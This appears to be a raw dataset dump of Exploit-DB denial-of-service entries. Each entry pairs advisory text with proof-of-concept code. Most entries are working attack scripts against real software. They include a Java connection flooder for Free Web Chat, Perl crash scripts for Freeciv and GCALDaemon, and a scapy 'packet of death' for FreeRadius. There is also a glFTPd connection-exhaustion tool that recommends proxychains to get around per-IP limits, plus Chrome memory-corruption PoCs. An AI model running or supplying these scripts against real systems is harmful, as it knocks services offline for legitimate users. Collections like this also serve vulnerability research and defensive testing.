deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30990
Description: Foxit WAC Server 2.0 Build 3503 - Denial of Service
Type: dos
Platform: multiple
Date: 2008-01-04
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27142/info

Foxit WAC Server is prone to a denial-of-service vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Foxit WAC Server 2.0 Build 3503 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30990-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31232.zip
Exploit-DB #32400
Description: Foxmail Email Client 6.5 - 'mailto' Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-09-22
Author: sebug

Exploit:
source: https://www.securityfocus.com/bid/31294/info

Foxmail Email Client is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue will allow an attacker to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Foxmail Email Client 6.5 is vulnerable; other versions may also be affected. 

<html> <body> <P>Author:friddy QQ:568623 <P>Result:Program Crash <BR> <A href="mailto:A%...............................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com">ClickME</a> >Clickme</A> </body> </html>
Exploit-DB #24352
Description: Free Web Chat Initial Release - Connection Saturation Denial of Service
Type: dos
Platform: multiple
Date: 2004-08-04
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10863/info
 
Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:
 
The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.
 
A remote attacker may exploit this vulnerability to deny service to legitimate users.
 
The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.
 
A remote attacker may exploit this vulnerability to deny service to legitimate users.


/*
     Free Web Chat (Initial Release)- Resources Consumption - Proof Of Concept
     Coded by: Donato Ferrante
*/



import java.io.PrintStream;
import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;





public class FreeWebChat_ir_RC_poc {


final static String VERSION = "0.1";
final static int MAX_CONN = 20;



	
public static void main(String [] args){
	
	
   System.out.println(
                      "\n\nFree Web Chat - Resources Consumption - Proof Of Concept\n" +
                      "Version: " + VERSION + "\n\n"                 +
                      "coded by: Donato Ferrante\n"                  +
                      "e-mail:   fdonato@autistici.org\n"            +
                      "web:      www.autistici.org/fdonato\n\n"
                    );

   String host = "";
   int port = 0;

	if(args.length < 2){

		System.out.println("Usage: <host> <port>\n\n");
		System.exit(-1);

	}
	
	try{
		
		host = args[0];
		port = (new Integer(args[1])).intValue();
		
	}catch(Exception e){System.exit(-1);}
	
	
	try{

	   int i = 0;
	   while(i++ <= MAX_CONN){
			
			try{

        		InetAddress addr = InetAddress.getByName(host);
        		Socket socket = new Socket(addr, port);

        		PrintStream printStream = new PrintStream(socket.getOutputStream());
        		printStream.println("test");
        		printStream.close();
				
    
			}catch(ConnectException ce){System.out.println(ce); System.exit(-1);}
		}
			
	}catch(Exception e){System.out.println(e); System.exit(-1);}
	
	
	System.out.println("\nFree_Web_Chat - Resources Consumption - Proof_Of_Concept terminated.\n\n");
	
	}	
	
	
}
Exploit-DB #11705
Description: FreeBSD / OpenBSD - 'ftpd' Null Pointer Dereference Denial of Service
Type: dos
Platform: multiple
Date: 2010-03-12
Author: kingcope

Exploit:
/*FreeBSD and OpenBSD 'ftpd' NULL Pointer Dereference Denial Of Service Vulnerability

The FreeBSD and OpenBSD 'ftpd' service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.

Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects the following releases:

FreeBSD 8.0, 6.3, 4.9
OpenBSD 4.5 and 4.6 

PoC:
*/

#include <glob.h>
#include <stdio.h>

#define MAXUSRARGS      100
#define MAXGLOBARGS     1000

void do_glob() {
        glob_t gl;
        char **pop;

        char buffer[256];
        strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");

        int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
        memset(&gl, 0, sizeof(gl));
        gl.gl_matchc = MAXGLOBARGS;
        flags |= GLOB_LIMIT;
        if (glob(buffer, flags, NULL, &gl)) {
                printf("GLOB FAILED!\n");
                return 0;
        }
        else
//                for (pop = gl.gl_pathv; pop && *pop && 1 <
(MAXGLOBARGS-1);
                for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
                     pop++) {
                        printf("glob success");
                        return 0;
                }
        globfree(&gl);
}

main(int argc, char **argv) {
        do_glob();
        do_glob();
}
Exploit-DB #880
Description: Freeciv Server 2.0.0beta8 - Denial of Service
Type: dos
Platform: multiple
Date: 2005-03-14
Author: Nico Spicher

Exploit:
#!/usr/bin/perl

# Freeciv Server <= 2.0.0beta8 DoS exploit (windows&linux releases)
# Vendor: http://www.freeciv.org/
# Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ]

# There is a vulnerability in the handling of incoming data. If the request
# is uncomplete or modified, the server crashes because of a bug in the
# get_packet_from_connection function in packets.c. Look at the code below
# for more information.

use IO::Socket;

if (@ARGV < 1)
 {
system "clear";
print "[-] Usage: exploit_freeciv.pl <host ip>\n";
exit(1);
 }
system "clear";

$server = $ARGV[0];
print "[-] Freeciv DoS Exploit\n\n";
print "[-] Server IP: ";
print $server;
print "\n[-] Connecting to IP ...\n";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => "$server",
	PeerPort => "5555"); unless ($socket) { die "[-] $server is offline\n" }

print "[-] Connected\n\n";

print "[-] Creating string\n";

$string="@+2.0 conn_ping_info username_info-beta8";
# >civserver: packets.c:385: get_packet_from_connection:
# 	      Assertion 'error == 0' failed.
# Aborted(core dumped)

print "[-] Sending string\n\n";

print $socket "$string";

print "[>] Attack successful - Server killed\n";

close($socket);

# milw0rm.com [2005-03-14]
Exploit-DB #9642
Description: FreeRadius < 1.1.8 - Zero-Length Tunnel-Password Denial of Service
Type: dos
Platform: multiple
Date: 2009-09-11
Author: Matthew Gillespie

Exploit:
#!/usr/bin/env python
# FreeRadius Packet Of Death
# Matthew Gillespie 2009-09-11
# Requires RadiusAttr http://trac.secdev.org/scapy/attachment/ticket/92/radiuslib.py
# http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/

import sys
from scapy.all import IP,UDP,send,Radius,RadiusAttr

if len(sys.argv) != 2:
	print "Usage: radius_killer.py <radiushost>\n"
	sys.exit(1)

PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \
	Radius(code=1,authenticator="\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",id=180)/ \
	RadiusAttr(type=69,value="",len=2)

send(PoD)

# milw0rm.com [2009-09-11]
Exploit-DB #27993
Description: FreeType - '.TTF' File Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-06-08
Author: Josh Bressers

Exploit:
source: https://www.securityfocus.com/bid/18329/info

FreeType is prone to a denial-of-service vulnerability. This issue is due to a flaw in the library that causes a NULL-pointer dereference.

This issue allows remote attackers to crash applications that use the affected library, denying service to legitimate users.

FreeType versions prior to 2.2.1 are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27993.zip
Exploit-DB #29305
Description: FTPRush 1.0.610 - Host Field Local Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-12-22
Author: Umesh Wanve

Exploit:
source: https://www.securityfocus.com/bid/21714/info

FTPRush is prone to a local buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input data to an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

This issue affects version 1.0.0.610; other versions may also be vulnerable.

Supplying the following to the client GUI is sufficient to demonstrate this issue:

Host: 4131 x "A"
Exploit-DB #36234
Description: G-WAN 2.10.6 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 2011-10-13
Author: Fredrik Widlund

Exploit:
source: https://www.securityfocus.com/bid/50108/info

G-WAN is prone to a buffer-overflow vulnerability and a denial-of-service vulnerability.

Remote attackers can exploit these issues to execute arbitrary code in the context of the application or crash the affected application.

G-WAN 2.10.6 is vulnerable; other versions may also be affected. 

while: do echo -e "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n'
Exploit-DB #24282
Description: Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service)
Type: dos
Platform: multiple
Date: 2004-07-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10728/info

It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.

These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.

Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/../../../../
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//[whatever]&LANGUAGE=lang//en
Exploit-DB #24283
Description: Gattaca Server 2003 POP3 - Denial of Service
Type: dos
Platform: multiple
Date: 2004-07-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10728/info
 
It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.
 
These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.
 
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

list[PII_REDACTED][PII_REDACTED]999
retr[PII_REDACTED][PII_REDACTED]999
uidl[PII_REDACTED][PII_REDACTED]405
Exploit-DB #4540
Description: GCALDaemon 1.0-beta13 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-10-16
Author: ikki

Exploit:
#!/usr/bin/perl
# /*
#  * GCALDaemon <= 1.0-beta13 Remote DoS 
#  * 
#  * Original Advisory: 
#  * https://www.securityfocus.com/bid/25704/info
#  * http://www.ikkisoft.com/stuff/SN-2007-01.txt
#  *
#  *  Luca "ikki" Carettoni
#  *  http://www.ikkisoft.com
#  */

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, 
PeerProto => 'tcp')
or die "error: $!\n";
print "GCALDaemom DoS Expoit\n";
print "Just 4 seconds...\n";
sleep 4;
$sock->send("GET / HTTP/1.1\r\n");
$sock->send("Content-Length:[PII_REDACTED]\r\n\r\n");
$sock->close;
print "\n\nNo more sync!\n";

# milw0rm.com [2007-10-16]
Exploit-DB #24761
Description: Gearbox Software Halo Game 1.x - Client Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-11-22
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11724/info

The Halo game client is reported prone to a remote denial of service vulnerability. It is reported that when using the in game browser to view a server list, a malicious reply from a server may crash the affected client.

A remote attacker may exploit this vulnerability to deny service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24761.zip
Exploit-DB #32596
Description: GeSHi 1.0.x - XML Parsing Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-11-20
Author: Christian Hoffmann

Exploit:
source: https://www.securityfocus.com/bid/32377/info

GeSHi is prone to a remote denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the vulnerable application to enter an infinite loop, consuming excessive resources.

This issue affects versions prior to GeSHi 1.0.8. 

The following example exploit is available:

<
Exploit-DB #7564
Description: Getleft 1.2 - Remote Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-12-23
Author: Koshi

Exploit:
#!/usr/bin/perl
#
# Getleft v1.2.0.0 DoS PoC
# Author: Koshi
#
# Application: Getleft v1.2
# Publisher: Andres Garcia ( http://personal1.iddeo.es/andresgarci/getleft/english/index.html )
# Description: Website Downloader, for such things as offline browsing.
# Tested On: Windows XP SP2
#
# Module: Getleft.exe
# eax=00c5f170 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00c5f170
# eip=004863eb esp=0022d9b0 ebp=010b4870 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#
# Getleft+0x863eb:
# 004863eb 8b06            mov     eax,dword ptr [esi]  ds:0023:00000000=????????
# 
# <embed src=>, <img src=>, <script src=>, <body background=>
# Plenty of other tags will work as well. I'm not so sure about
# code execution, I'll have to try a few other things.
#

use IO::Socket;

my $body = "<a href=\x22/abcd.jpg\x22>" ."A"x1950 ."</a>";
my $resp = "".
	"HTTP/1.1 200 OK\r\n".
	"Server: Apache\r\n".
	"Date: Mon, 22 Dec 2008 21:50:46 GMT\r\n".
	"Content-Type: text/html\r\n".
	"Accept-Ranges: bytes\r\n".
	"Last-Modified: Mon, 22 Dec 2008 21:45:46 GMT\r\n".
	"Content-Length: " .length($body) ."\r\n".
	"Connection: close\r\n\r\n".
	"$body\r\n";

for ($i = 2; $i >= 1; $i--) {

my $sock = new IO::Socket::INET (LocalPort => '80',
				 Proto => 'tcp',
				 Listen => 1,
				 Reuse => 1, );

print "Listening...\n";
my $new_sock = $sock->accept();
print "Connected...\n";
my $sock_addr = recv($new_sock,$msg,190,0);
print "Sending ...\n";
print $new_sock "$resp";
print "Sent!\n";
close($sock);
print "Closed.\r\n\r\n";

}

# milw0rm.com [2008-12-23]
Exploit-DB #23556
Description: GetWare Web Server Component - Content-Length Value Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-01-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9451/info

The GetWare Web Server component has been reported prone to a remote denial of service vulnerability. It has been reported that the issue will present itself when the affected web server receives malicious HTTP requests that contain negative values for the Content-Length field in the HTTP header.

A remote attacker may exploit this issue to deny service to the GetWare Web Server.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23556.rar
Exploit-DB #27421
Description: GGZ Gaming Zone 0.0.12 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2006-03-14
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/17094/info

GGZ Gaming Zone is prone to multiple remote denial-of-service vulnerabilities. These issues are due to improper input sanitization.

An attacker may cause the victim's connection to the server to terminate, causing a denial of service to legitimate users.

Examples have been provided:

<PLAYER ID='mynick'' TYPE='guest' TABLE='-1' LAG='1'/>

<CHAT TYPE='normal' FROM='mynick'><![CDATA[aaaaaaaaaaaaaaaaaaaaaaa...
...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_end_here
<UPDATE TYPE='player' ACTION='lag' ROOM='0'>
Exploit-DB #49773
Description: glFTPd 2.11a - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2021-04-15
Author: xynmaps

Exploit:
# Exploit Title: glFTPd 2.11a - Remote Denial of Service
# Date: 15/05/2021
# Exploit Author: xynmaps
# Vendor Homepage: https://glftpd.io/
# Software Link: https://glftpd.io/files/glftpd-LNX-2.11a_1.1.1k_x64.tgz
# Version: 2.11a
# Tested on: Parrot Security OS 5.9.0

#-------------------------------#

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#glFTPd Denial of Service exploit by XYN/Dump/NSKB3.
"""
glFTPd only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""

import socket
import sys
import threading
import subprocess
import time

banner = """
._________________.
|      glFTPd     |
|       D o S     |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])

def test(t,p):
	s = socket.socket()
	s.settimeout(10)
	try:
		s.connect((t, p))
		response = s.recv(65535)
		s.close()
		return 0
	except socket.error:
		print("Port {} is not open, please specify a port that is open.".format(p))
		sys.exit()
def attack(targ, po, id):
	try:
		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		#print("Worker {} running".format(id))
	except OSError: pass
def main():
	global target, port, start
	print banner
	try:
		target = sys.argv[1]
	except:
		print usage
		sys.exit()
	try:
		port = int(sys.argv[2])
	except:
		port = 21
	try:
		conns = int(sys.argv[3])
	except:
		conns = 50
	print("[!] Testing if {0}:{1} is open".format(target, port))
	test(target, port)
	print("[+] Port {} open, starting attack...".format(port))
	time.sleep(2)
	print("[+] Attack started on {0}:{1}!".format(target, port))
	def loop(target, port, conns):
		global start
		threading.Thread(target=timer).start()
		while 1:
			for i in range(1, conns + 3):
				t = threading.Thread(target=attack, args=(target,port,i,))
				t.start()
				if i > conns + 2:
					t.join()
					break
					loop()

	t = threading.Thread(target=loop, args=(target, port, conns,))
	t.start()

def timer():
        start = time.time()
        while 1:
                if start < time.time() + float(900): pass
                else:
                        subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        t = threading.Thread(target=loop, args=(target, port,))
			t.start()
                        break

main()
Exploit-DB #17120
Description: GNU glibc < 2.12.2 - 'fnmatch()' Stack Corruption
Type: dos
Platform: multiple
Date: 2011-02-25
Author: Simon Berry-Byrne

Exploit:
/*
source: https://www.securityfocus.com/bid/46563/info

GNU glibc is prone to a stack-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary machine code in the context of the application that uses the affected library. Failed exploit attempts will likely crash the application.

GNU glibc versions prior to 2.12.2 are vulnerable. */

#include <err.h>
#include <fnmatch.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, const char* argv[]) {
  size_t num_as;
  char* p;
  setlocale(LC_ALL, "en_US.UTF8");
  if (argc < 2) {
    errx(1, "Missing argument.");
  }
  num_as = atoi(argv[1]);
  if (num_as < 5) {
    errx(1, "Need 5.");
  }
  p = malloc(num_as);
  if (!p) {
    errx(1, "malloc() failed.");
  }
  memset(p, 'A', num_as);
  p[num_as - 1] = '\0';
  p[0] = 'f';
  p[1] = 'o';
  p[2] = 'o';
  p[3] = '.';
  fnmatch("*.anim[1-9j]", p, 0);
  return 0;
}
Exploit-DB #41214
Description: Google Chrome - 'HTMLKeygenElement::shadowSelect()' Type Confusion
Type: dos
Platform: multiple
Date: 2017-02-01
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994

Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246

PoC:
-->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
Exploit-DB #41434
Description: Google Chrome - 'layout' Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-02-22
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1024

Chrome bug:

https://bugs.chromium.org/p/chromium/issues/detail?id=671328

PoC:
-->

<style>
content { contain: size layout; }
</style>
<script>
function leak() {
 document.execCommand("selectAll"); 
 opt.text = ""; 
}
</script>
<body onload=leak()>
<content>
<select>
<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
</select>
</content>

<!--
Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
-->